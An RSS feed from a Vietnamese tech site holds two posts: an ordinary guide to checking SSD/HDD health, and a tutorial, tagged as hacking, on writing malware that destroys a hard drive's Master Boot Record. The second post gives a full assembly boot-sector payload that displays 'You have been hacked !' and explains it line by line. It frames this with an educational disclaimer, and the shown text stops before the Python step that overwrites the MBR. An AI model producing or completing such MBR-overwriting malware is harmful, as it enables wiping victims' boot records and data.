<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>ssd &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/ssd/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 16:35:17 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>ssd &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng</title>
		<link>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/</link>
					<comments>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/#respond</comments>
		
		<dc:creator><![CDATA[Thanh Kim]]></dc:creator>
		<pubDate>Wed, 12 Apr 2023 00:22:37 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[cách kiểm tra ổ cứng SSD HDD]]></category>
		<category><![CDATA[kiểm tra ổ đĩa]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=46232</guid>

					<description><![CDATA[Có nhiều cách kiểm tra ổ cứng SSD hay HDD nhanh chóng và đơn giản nhằm theo dõi và phát hiện lỗi một cách dễ dàng. Từ đó ta có những giải pháp khắc phục kịp thời. Những cách đó là gì và thực hiện như thế nào, mời các bạn theo dõi qua bài [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Có nhiều <strong>cách kiểm tra ổ cứng</strong> SSD hay HDD nhanh chóng và đơn giản nhằm theo dõi và phát hiện lỗi một cách dễ dàng. Từ đó ta có những giải pháp khắc phục kịp thời. Những cách đó là gì và thực hiện như thế nào, mời các bạn theo dõi qua bài viết dưới đây!</p>
<figure id="attachment_46237" aria-describedby="caption-attachment-46237" style="width: 600px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-1.jpg" alt="Cách kiểm tra ổ cứng" width="600" height="329" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 9"><figcaption id="caption-attachment-46237" class="wp-caption-text">Cách kiểm tra ổ cứng</figcaption></figure>
<h2><strong>Các dấu hiệu cho thấy ổ đĩa cứng SSD/HDD đang bị hỏng</strong></h2>
<p>Hiện nay, có ba loại ổ đĩa mà mọi người sử dụng phổ biến, đó là ổ đĩa cứng truyền thống (HDD), ổ đĩa SSD và ổ đĩa Non-Volatile Memory Express (NVMe). Sau đây là các dấu hiệu dễ nhận biết khi ở đĩa của bạn gặp vấn đề:</p>
<h3><strong>Tiếng động lách cách</strong></h3>
<p>Nếu bạn nghe thấy âm thanh lạ khi sử dụng ổ đĩa SSD, thì đây là một dấu hiệu cho thấy nó đang gặp vấn đề. Tiếng kêu này có thể là tiếng lách cách, tiếng rít khi ổ đĩa đang hoạt động. Trường hợp này nguyên nhân là do các bộ phận bên trong ổ đĩa hoặc khối lưu trữ dữ liệu bị hỏng.</p>
<h3><strong>Máy tính bị treo hoặc crash</strong></h3>
<p>Mặc dù có rất nhiều lý do khiến bạn có thể gặp sự cố khiến máy tính gặp lỗi &#8220;màn hình xanh chết chóc&#8221;, và ổ đĩa cứng bị hỏng có thể là một trong số đó.</p>
<figure id="attachment_46238" aria-describedby="caption-attachment-46238" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-2.jpg" alt="Cách kiểm tra ổ cứng" width="640" height="270" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 10"><figcaption id="caption-attachment-46238" class="wp-caption-text">Màn hình xanh chết chóc</figcaption></figure>
<p>Máy tính chạy chậm và thường xuyên treo cũng là dấu hiệu đầu tiên cho thấy ổ SSD có vấn đề, có thể do lượng dữ liệu quá nhiều, do lỗi phần mềm hoặc do ổ SSD đã sắp hết tuổi thọ.</p>
<p>Khi gặp lỗi này, bạn nên sao lưu dữ liệu quan trọng và kiểm tra tình trạng của ổ SSD bằng các công cụ như Hard Disk Sentinel, Crystal Disk Mark, Smart Reporter Lite. Nếu có thể, bạn nên khởi động lại máy tính ở chế độ an toàn (Safe Mode) hoặc cài lại hệ điều hành để khắc phục lỗi.</p>
<h3><strong>Ổ cứng trở về trạng thái chỉ đọc và không cho ghi dữ liệu mới</strong></h3>
<p>Đây là dấu hiệu cho thấy ổ SSD đã dùng hết chu kỳ ghi dữ liệu, một vấn đề tồn tại với tất cả các loại bộ nhớ flash. Khi gặp lỗi này, bạn vẫn có thể đọc dữ liệu của mình, nhưng không thể ghi thêm dữ liệu mới vào ổ SSD. Đây là lúc bạn nên mua một ổ mới để thay thế.</p>
<h3><strong>Hệ thống yêu cầu Repair</strong></h3>
<p>Nếu máy tính thông báo yêu cầu được Repair lại hệ điều hành khi khởi động, điều này cho thấy ổ SSD đã bị lỗi về điện áp hoặc cổng kết nối, dẫn đến hỏng dữ liệu hoặc hỏng cả ổ cứng. Khi gặp lỗi này, bạn nên làm theo các hướng dẫn của máy tính để khôi phục file dữ liệu hoặc sửa chữa hệ thống file. Nếu không thành công, bạn nên liên hệ với nhà sản xuất hoặc nhà cung cấp dịch vụ để kiểm tra và sửa chữa ổ SSD.</p>
<figure id="attachment_46240" aria-describedby="caption-attachment-46240" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-4.jpg" alt="Cách kiểm tra ổ cứng" width="640" height="210" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 11"><figcaption id="caption-attachment-46240" class="wp-caption-text">Hệ thống yêu cầu Repair</figcaption></figure>
<p>Các hệ điều hành Windows, Mac và Linux đều được trang bị sẵn tính năng Repair để hỗ trợ sửa chữa các tập tin hệ thống bị hỏng. Nhưng tốt nhất là bạn nên thường xuyên sao lưu các dữ liệu quan trọng, để tránh trường hợp hư hỏng nặng không thể sửa chữa được.</p>
<h2><strong>Cách kiểm tra ổ cứng bằng CrystalDiskInfo</strong></h2>
<p>Ổ cứng sử dụng dữ liệu S.M.A.R.T. &#8211; viết tắt của Self-Monitoring, Analysis, and Reporting Technology &#8211; một công nghệ tự kiểm tra, phân tích và báo cáo để xác định xem nó có gặp lỗi gì hay không.</p>
<p><a href="https://download.com.vn/crystaldiskinfo-8644" target="_blank" rel="noopener">CrystalDiskInfo</a> là một ứng dụng miễn phí, cung cấp các thông tin trạng thái S.M.A.R.T. rồi báo cáo về ổ cứng cho bạn. Đây là một trong những <strong>cách kiểm tra ổ cứng</strong> đơn giản và hiệu quả mà nhiều người áp dụng.</p>
<figure id="attachment_46241" aria-describedby="caption-attachment-46241" style="width: 604px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-5.jpg" alt="Cách kiểm tra ổ cứng" width="604" height="341" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 12"><figcaption id="caption-attachment-46241" class="wp-caption-text">Ứng dụng CrystalDiskInfo</figcaption></figure>
<p>Thao tác sử dụng hết sức đơn giản. Khi ổ đĩa hoạt động bình thường, bạn sẽ thấy hiển thị trạng thái “Good” và thậm chí bạn có thể biết nhiệt độ của mỗi ổ đĩa. Các trạng thái khác bao gồm:</p>
<ul>
<li>Bad: Báo hiệu ổ đĩa chết hoặc gần chết</li>
<li>Caution: Báo hiệu người dùng nên xem xét sao lưu và thay thế</li>
<li>Unknown: không thể thu được thông tin S.M.A.R.T. của ổ đĩa này.</li>
</ul>
<figure id="attachment_46242" aria-describedby="caption-attachment-46242" style="width: 487px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-6.jpg" alt="Cách kiểm tra ổ cứng" width="487" height="550" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 13"><figcaption id="caption-attachment-46242" class="wp-caption-text">Giao diện của CrystalDiskInfo</figcaption></figure>
<p>Thêm vào đó, bạn có thể cài đặt CrystalDiskInfo để chạy cùng Windows khi khởi động máy tính và chạy dưới dạng ứng dụng nền. Cách làm như sau: Bạn bấm vào menu “Function”, sau đó tích chọn “Resident” và “Startup” là xong.</p>
<figure id="attachment_46243" aria-describedby="caption-attachment-46243" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-7.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="343" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 14"><figcaption id="caption-attachment-46243" class="wp-caption-text">Cài đặt CrystalDiskInfo để chạy cùng Windows khi khởi động</figcaption></figure>
<h2><strong>Cách kiểm tra ổ cứng bằng Command Prompt</strong></h2>
<p>Bạn cũng có thể biết được trạng thái S.M.A.R.T. từ Windows Command Prompt.</p>
<p><strong>Bước 1:</strong> Bạn nhấn Start, gõ “Command Prompt” rồi nhấn Enter.</p>
<figure id="attachment_46244" aria-describedby="caption-attachment-46244" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-8.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="312" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 15"><figcaption id="caption-attachment-46244" class="wp-caption-text">Nhấn Start, gõ “Command Prompt” rồi nhấn Enter</figcaption></figure>
<p><strong>Bước 2:</strong> Tại cửa sổ Command Prompt, bạn gõ hoặc copy dòng lệnh sau, rồi bấm Enter:</p>
<p>wmic diskdrive get status</p>
<figure id="attachment_46245" aria-describedby="caption-attachment-46245" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-9.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="326" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 16"><figcaption id="caption-attachment-46245" class="wp-caption-text">Cách kiểm tra ổ cứng bằng Command Prompt</figcaption></figure>
<p>Nếu máy tính vẫn hoạt động bình thường, bạn sẽ thấy hiển thị trạng thái “OK” cho mỗi ổ cứng. Các trạng thái khác như “Bad&#8221;, “Caution&#8221; hay “Unknown” biểu thị với ý nghĩa như phần trên</p>
<h2><strong>Nên làm gì khi ổ đĩa bị hỏng</strong></h2>
<p>Nếu bạn đã xác định rằng ổ đĩa SSD/HDD của mình đang gặp vấn đề hoặc bị hỏng, có một số điều bạn có thể làm để giải quyết vấn đề này:</p>
<h3><strong>Sao lưu dữ liệu</strong></h3>
<p>Trước tiên, bạn nên sao lưu dữ liệu từ ổ đĩa của mình sang một ổ đĩa khác hoặc bộ nhớ đám mây. Điều này sẽ giúp bạn không bị mất dữ liệu quan trọng nếu ổ đĩa bị hỏng hoàn toàn.</p>
<h3><strong>Khôi phục dữ liệu:</strong></h3>
<p>Nếu bạn không thể sao lưu hoặc truy cập được vào dữ liệu trên <a href="https://anonyviet.com/cach-tang-toc-o-cung-ssd-tren-windows-11/">ổ đĩa cứng</a> bị lỗi, bạn có thể sử dụng các phần mềm khôi phục dữ liệu để lấy lại các file bị xóa hoặc mất. Có nhiều phần mềm chuyên dụng bạn có thể thử như GetDataBack, EASEUS Data Recovery Wizard, PC Inspector File Recovery,&#8230;</p>
<p>Bạn nên cài đặt phần mềm này trên một ổ đĩa khác với ổ đĩa bị lỗi để tránh ghi đè lên dữ liệu cần khôi phục lại. Phần mềm sẽ hiển thị danh sách các tập tin có khả năng phục hồi và bạn có thể lưu chúng vào một ổ đĩa khác an toàn hơn.</p>
<h3><strong>Thay thế ổ đĩa cứng:</strong></h3>
<p>Nếu ổ đĩa của bạn bị hỏng hoàn toàn, bạn sẽ phải thay thế nó bằng một ổ đĩa mới. Nếu nó đang còn trong thời gian bảo hành, bạn có thể liên hệ với nhà sản xuất để tiến hành đổi.</p>
<p>Cuối cùng, sau khi giải quyết các vấn đề trên, bạn hãy đảm bảo rằng luôn bảo trì và sao lưu dữ liệu thường xuyên để tránh tái diễn các trường hợp tương tự trong tương lai nhé!</p>
<h2><strong>Lời Kết</strong></h2>
<p>Vậy là mình đã vừa chia sẻ đến các bạn <strong>cách kiểm tra ổ cứng</strong> SSD/HDD xem có bị lỗi hay không để kịp thời có giải pháp khắc phục. Ngoài các dấu hiệu có thể quan sát hay nghe thấy được, ta có thể dùng câu lệnh hoặc cài đặt ứng dụng để kiểm tra một cách rõ ràng và chi tiết hơn. Chúc các bạn áp dụng thành công!</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể kiểm tra sức khỏe ổ cứng SSD/HDD của mình như thế nào?</h3>
<p>Bạn có thể sử dụng các phần mềm như CrystalDiskInfo để kiểm tra trạng thái S.M.A.R.T. của ổ cứng.  Ứng dụng này sẽ hiển thị tình trạng &#8220;Good&#8221;, &#8220;Caution&#8221; hoặc &#8220;Bad&#8221; để đánh giá sức khỏe ổ cứng của bạn.  Ngoài ra, bạn cũng có thể sử dụng lệnh `wmic diskdrive get status` trong Command Prompt.</p>
<h3>Những dấu hiệu nào cho thấy ổ cứng của tôi đang gặp vấn đề?</h3>
<p>Một số dấu hiệu bao gồm tiếng động lạ (lách cách, rít), máy tính thường xuyên treo hoặc crash, ổ cứng chuyển sang chế độ chỉ đọc, hoặc hệ thống yêu cầu sửa chữa (Repair).</p>
<h3>Nếu ổ cứng của tôi hiển thị trạng thái &#8220;Caution&#8221; hoặc &#8220;Bad&#8221;, tôi nên làm gì?</h3>
<p>Trạng thái &#8220;Caution&#8221; cảnh báo bạn nên sao lưu dữ liệu quan trọng và xem xét thay thế ổ cứng.  Trạng thái &#8220;Bad&#8221; cho thấy ổ cứng đã bị hỏng hoặc sắp hỏng, bạn cần sao lưu dữ liệu ngay lập tức và chuẩn bị thay thế ổ cứng mới.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Code phá hủy MBR ổ cứng &#8211; Tấn công và phòng chống</title>
		<link>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/</link>
					<comments>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/#comments</comments>
		
		<dc:creator><![CDATA[Hevin]]></dc:creator>
		<pubDate>Sun, 19 Feb 2023 07:31:12 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[Boot]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[mã độc]]></category>
		<category><![CDATA[mbr]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=45229</guid>

					<description><![CDATA[Đây là một chủ đề &#8220;khá nhạy cảm&#8221; và &#8220;nguy hiểm&#8221; và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Đây là một chủ đề &#8220;khá nhạy cảm&#8221; và &#8220;nguy hiểm&#8221; và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình khỏi nó, mình đã tìm hiểu về nó. Trong bài viết này, mình sẽ chia sẻ với bạn về cách mà mình đã tạo ra một đoạn mã độc và sử dụng nó để phá huỷ dữ liệu trên ổ cứng chỉ với 1 tập lệnh Python.</strong></p>
<p><strong>An0nyviet hy vọng rằng bài viết này sẽ giúp bạn hiểu rõ hơn về cách thức hoạt động của mã độc và cách bảo vệ chính mình khỏi nó. Mình sẽ chia sẻ cách tạo ra một phần mềm độc hại MBR. Trước khi vào vấn đề đó mình sẽ nói qua khái niệm về MBR và cách hoạt động của nó.</strong></p>
<p style="text-align: center;"><span style="color: #ff0000;"><strong>Lưu ý: Bài viết chỉ mang tính chất giáo dục, nghiên cứu về mã độc, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. Anonyviet không chịu toàn bộ trách nhiệm mà bạn đã gây ra !</strong></span></p>
<h2><span style="font-size: 18pt; color: #0000ff;"><strong>MBR là gì ? Cách hoạt động của MBR</strong></span></h2>
<p><strong>MBR</strong> ( <strong>Master Boot Record</strong>: <em><strong>Bản ghi khởi động chính </strong></em>), là một phần của đĩa cứng được sử dụng để khởi động hệ thống máy tính. Nó là một khối dữ liệu 512 byte đầu tiên trên ổ đĩa cứng được sử dụng để lưu trữ thông tin về cách phân vùng đĩa cứng và cách khởi động hệ thống. Trong MBR, có một bảng phân vùng chứa thông tin về các phân vùng trên đĩa cứng, bao gồm địa chỉ bắt đầu và kích thước của mỗi phân vùng. Nó cũng chứa mã khởi động ( <strong>bootloader</strong> ) để hệ thống có thể khởi động từ ổ đĩa cứng. Ngoài ra nó còn chứa một chữ ký ( <strong>signature </strong>) với kích cỡ 2 byte ở cuối để xác nhận rằng nó là MBR hợp lệ và giúp hệ điều hành nhận diện đĩa cứng. Tuy nhiên, MBR cũng là điểm yếu của hệ thống bởi vì nó có thể bị tấn công bởi mã độc và phá hỏng thông tin về phân vùng và cách khởi động hệ thống, gây ra các vấn đề nghiêm trọng khi khởi động hệ thống.</p>
<p><strong>Cách hoạt động của MBR:</strong> Khi hệ thống được bật, trình điều khiển BIOS (<strong>Basic Input/Output System</strong>) sẽ đọc MBR từ ổ đĩa cứng và tải nó vào bộ nhớ. Mã khởi động (bootloader) trong MBR sẽ được thực thi, cho phép hệ thống khởi động từ ổ đĩa cứng. Sau đó, Bootloader sẽ tải phần mềm khởi động tiếp theo (như <a href="https://vi.wikipedia.org/wiki/GRUB" target="_blank" rel="noopener">GRUB</a> hoặc <a href="https://vi.wikipedia.org/wiki/NTLDR" target="_blank" rel="noopener">NTLDR</a>) và cho phép người dùng chọn hệ điều hành để khởi động. Nếu không có lựa chọn, bootloader sẽ tiếp tục thực thi và chuyển quyền điều khiển cho hệ điều hành. Nếu MBR bị hỏng hoặc bị tấn công bởi mã độc, bootloader có thể không thể được tải hoặc hệ thống sẽ không khởi động được. Trong trường hợp này, bạn cần phải sử dụng các công cụ phục hồi hệ thống để sửa chữa hoặc khôi phục lại MBR để đảm bảo hệ thống có thể khởi động được lại.</p>
<h2><span style="color: #0000ff; font-size: 18pt;"><strong>Mình đã tạo ra mã độc MBR phá hủy ổ cứng như thế nào ?</strong></span></h2>
<p>Để tạo ra được mã độc này, An0nyViet đã tìm hiểu những kiến thức sau:</p>
<ul>
<li><strong><em>Ngôn ngữ lập trình</em> <em>Assembler</em></strong>: đây là một ngôn ngữ lập trình gần với ngôn ngữ máy và cung cấp một phương tiện để lập trình trực tiếp các lệnh máy tính. Nó cung cấp các lệnh khá đơn giản về việc thực hiện các tác vụ cơ bản như tính toán, lưu trữ và điều khiển và mình thường thấy các lập trình viên dùng ngôn ngữ này để viết ra các phần mềm yêu cầu xử lý tốc độ nhanh</li>
<li><em><strong>Qemu</strong></em>: là chương trình mô phỏng hệ thống (System Emulator) miễn phí và mã nguồn mở, cho phép người dùng chạy các hệ điều hành và phần mềm trong một môi trường ảo trên các nền tảng khác nhau. Nó mô phỏng một loạt các kiến trúc máy tính bao gồm các CPU phổ biến như x86, ARM, PowerPC, SPARC, và MIPS, cũng như các hệ điều hành như MacOS, Windows, và Linux</li>
<li><em><strong>Netwide Assembler</strong></em>:  viết tắt là &#8220;NASM&#8221; là một trình dịch ngược mã (<strong>Assembler</strong>) mã nguồn mở, được sử dụng để chuyển đổi mã assembly (ngôn ngữ lập trình gần với ngôn ngữ máy như mình đã nói ở trên) thành mã máy. NASM hỗ trợ nhiều kiến trúc máy tính, bao gồm các kiến trúc phổ biến như x86 và x86-64 (bao gồm cả 32-bit và 64-bit), ARM, PowerPC,&#8230;. Nó được sử dụng trong nhiều dự án phần mềm mã nguồn mở, bao gồm các hệ điều hành như Linux và FreeBSD, và các công cụ và ứng dụng như bootloader và các ứng dụng mã hóa.</li>
<li><em><strong>Ngôn ngữ lập trình Python</strong></em>: Đây là một ngôn ngữ lập trình khá nhiều anh em được biết và được học rồi nhỉ, được biết Python nổi tiếng về cú pháp đơn giản, dễ đọc, dễ hiểu, và dễ học. Hiện tại Python đang được phát triển và được dạy trong chương trình THPT. Python là ngôn ngữ lập trình thông dịch, được sử dụng rộng rãi trong nhiều lĩnh vực khác nhau.  Và đó cũng là lí do mình lựa chọn Python để viết ra mã độc MBR nhằm dễ đọc và dễ hiểu hơn</li>
</ul>
<p>Trước tiên mình download <a href="https://qemu.weilnetz.de/w64/" target="_blank" rel="noopener">Qemu Binaries</a> và <a href="https://www.nasm.us/pub/nasm/releasebuilds/2.16.01/" target="_blank" rel="noopener">NASM</a>. Việc cài đặt 2 phần mềm này khá đơn giản nên mình sẽ bỏ qua nhé. Bây giờ mình sẽ tiến hành tạo một tên tệp với bản định dạng của ngôn ngữ Assembler là .asm. Mình đặt tên file là <strong>boot.asm</strong> nhé</p>
<h3><span style="font-size: 14pt;"><strong><span style="color: #008000;">Bước 1: Tạo tệp boot.asm và biên dịch sang mã hex độc</span></strong></span></h3>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 11" width="1364" height="1242" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 27"></p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">org 0x7c00 
bits 16    


start:
    call cls 
    mov bx, display

print:
    mov al, [bx]
    cmp al, 0 
    je halt
    call print_char 
    inc bx
    jmp print 

print_char:
    mov ah, 0x0e
    int 0x10 
    ret 

halt:
    ret


cls:
    mov ah, 0x07   
    mov al, 0x00  
    mov bh, 0x02
    mov cx, 0x00  
    mov dx, 0x184f
    int 0x10       
    ret            

display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55 
</pre>
<p><strong>Đoạn code trên là một chương trình boot loader, được tạo ra để chạy trên một máy tính x86 sau khi khởi động. Bây giờ chúng mình hãy cùng đi vào từng đoạn code để hiểu rõ hơn nha:</strong></p>
<p>Dòng đầu tiên <code>org 0x7c00</code> chỉ định vị trí lưu trữ của chương trình khi nó được nạp vào bộ nhớ, và địa chỉ này được xác định là <code>0x7c00</code>. Dòng thứ 2 chính là <code>bits 16</code> chỉ định rằng chương trình này sẽ được biên dịch và chạy trên kiến trúc 16Bit</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">org 0x7c00
bits 16</pre>
<p>Chương trình bắt đầu bằng nhãn <code>start</code> và thực hiện các lệnh. Lệnh đầu tiên gọi hàm <code>cls</code> để xóa màn hình. Lệnh thứ hai đưa địa chỉ của chuỗi <code>display</code> vào thanh ghi <code>bx</code></p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">start:
     call cls
     mov bx, display</pre>
<p>Đoạn mã này lặp lại cho đến khi kết thúc chuỗi <code>display</code>. Mỗi lần lặp lại, nó đọc một ký tự từ chuỗi <code>display</code> và gọi hàm <code>print_char</code> để in ký tự đó ra màn hình. Sau đó, nó tăng giá trị của thanh ghi <code>bx</code> để trỏ đến ký tự tiếp theo trong chuỗi <code>display</code> và lặp lại quá trình này.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">print:
     mov al, [bx]
     cmp al, 0
     je halt
     call print_char
     inc bx
     jmp print</pre>
<p>Hàm <code>print_char</code> đặt giá trị <code>0x0e</code> vào thanh ghi <code>ah</code>, sau đó gọi trình ngắt <code>0x10</code> để hiển thị ký tự tương ứng với thanh ghi <code>al</code> lên màn hình. Tiếp đến, nó sẽ trả về ngay lập tức.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">print_char:
     mov ah, 0x0e
     int 0x10
     ret</pre>
<p>Hàm <code>halt</code> chỉ đơn giản là trả về ngay lập tức.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">halt:
     ret</pre>
<p><code>cls</code> là một hàm để xóa màn hình<br />
<code>mov ah, 0x07</code>: Di chuyển giá trị <code>0x07</code> vào thanh ghi <code>ah</code>, là mã hàm ẩn bảng ký tự của BIOS để xoá màn hình.<br />
<code>mov al, 0x00</code>: Di chuyển giá trị <code>0x00</code> vào thanh ghi <code>al</code>, là thông số mặc định để xoá màn hình.<br />
<code>mov bh, 0x02</code>: Di chuyển giá trị <code>0x02</code> vào thanh ghi <code>bh,</code> là mã màu sắc của ký tự trên màn hình console.Trong trường hợp này, màu sắc được chọn là màu xanh lá cây được biểu thị bằng mã nhị phân. Bạn có thể xem các danh sách màu chữ của BIOS <a href="https://en.wikipedia.org/wiki/BIOS_color_attributes" target="_blank" rel="noopener">tại đây</a><br />
<code>mov cx, 0x00</code>: Di chuyển giá trị <code>0x00</code> vào thanh ghi <code>cx</code>, là số lần hiển thị để xoá màn hình.<br />
<code>mov dx, 0x184f</code>: Di chuyển giá trị <code>0x184f</code> vào thanh ghi <code>dx</code>, là tọa độ bắt đầu xoá màn hình với x = 0 và y =0<br />
<code>int 0x10</code>: Gọi hàm ngắt số <code>0x10</code>, là hàm giao tiếp với phần cứng video của máy tính.<br />
<code>ret</code>: Trả về hàm và quay trở lại nơi gọi hàm.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">cls:
     mov ah, 0x07
     mov al, 0x00
     mov bh, 0x02
     mov cx, 0x00
     mov dx, 0x184f
     int 0x10
     ret</pre>
<p><code>display</code> là tên biến, <code>db</code> là instruction để định nghĩa một chuỗi byte.<br />
Chuỗi được định nghĩa bao gồm: <code>"We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0</code> và bạn cũng có thể thay đổi lời nhắn tùy ý nhé !</p>
<p>Ở đây <code>"We are Anonyviet.com, I am Hevin"</code> là một chuỗi ký tự, trong trường hợp này là thông điệp được hiển thị trên màn hình</p>
<p>Còn <code>13</code> và <code>10</code> lần lượt là các ký tự ASCII tương ứng với các ký tự xuống dòng và lùi về đầu dòng (Carriage Return và Line Feed).<br />
<code>"You have been hacked !"</code> là thông điệp tiếp theo được hiển thị trên màn hình. <code>0</code> là ký tự kết thúc chuỗi.<br />
<code>times 510 - ($ - $$) db 0</code> sử dụng lệnh <code>times</code> để bổ sung các byte giá trị 0 vào phần còn thiếu của boot sector (tính từ đầu cho tới vị trí 510).<br />
<code>dw 0xaa55</code> giá trị kết thúc của boot sector là <code>0xAA55</code>, giá trị này sẽ được BIOS sử dụng để kiểm tra tính hợp lệ của boot sector trước khi nạp vào bộ nhớ và thực thi</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55</pre>
<h4><code></code><strong>Cách hoạt động của chương trình phá hủy MBR ổ cứng trên như sau:</strong></h4>
<p>Trước tiên, nó sử dụng lệnh <code>org 0x7c00</code> để xác định địa chỉ bắt đầu của chương trình, tức là địa chỉ <code>0x7c00</code>. Tiếp đến sử dụng <code>bits 16</code> để chỉ định kiểu bit được sử dụng.</p>
<p>Sau đó, chương trình chạy đến nhãn <code>start</code> và gọi hàm <code>cls</code> để xóa màn hình và di chuyển con trỏ về địa chỉ đầu tiên của chuỗi <code>display</code> bằng cách di chuyển địa chỉ của chuỗi vào thanh ghi <code>bx</code></p>
<p>Tiếp theo, chương trình sử dụng một vòng lặp để in từng ký tự trong chuỗi <code>display</code> bằng cách gọi hàm <code>print_char</code>. Nếu ký tự là ký tự null (0), vòng lặp sẽ dừng lại và chương trình sẽ gọi hàm <code>halt</code> để kết thúc chương trình. Nếu không, con trỏ sẽ được di chuyển sang ký tự tiếp theo trong chuỗi bằng cách tăng giá trị của thanh ghi <code>bx</code> và chương trình sẽ tiếp tục in ký tự tiếp theo.</p>
<p>Hàm <code>print_char</code> sử dụng lệnh <code>int 0x10</code> để gọi dịch vụ hệ thống của BIOS để in một ký tự lên màn hình. Trong hàm này, chương trình truyền giá trị của thanh ghi <code>al</code> vào thanh ghi <code>ah</code> và sau đó gọi lệnh <code>int 0x10</code> để in ký tự lên màn hình.</p>
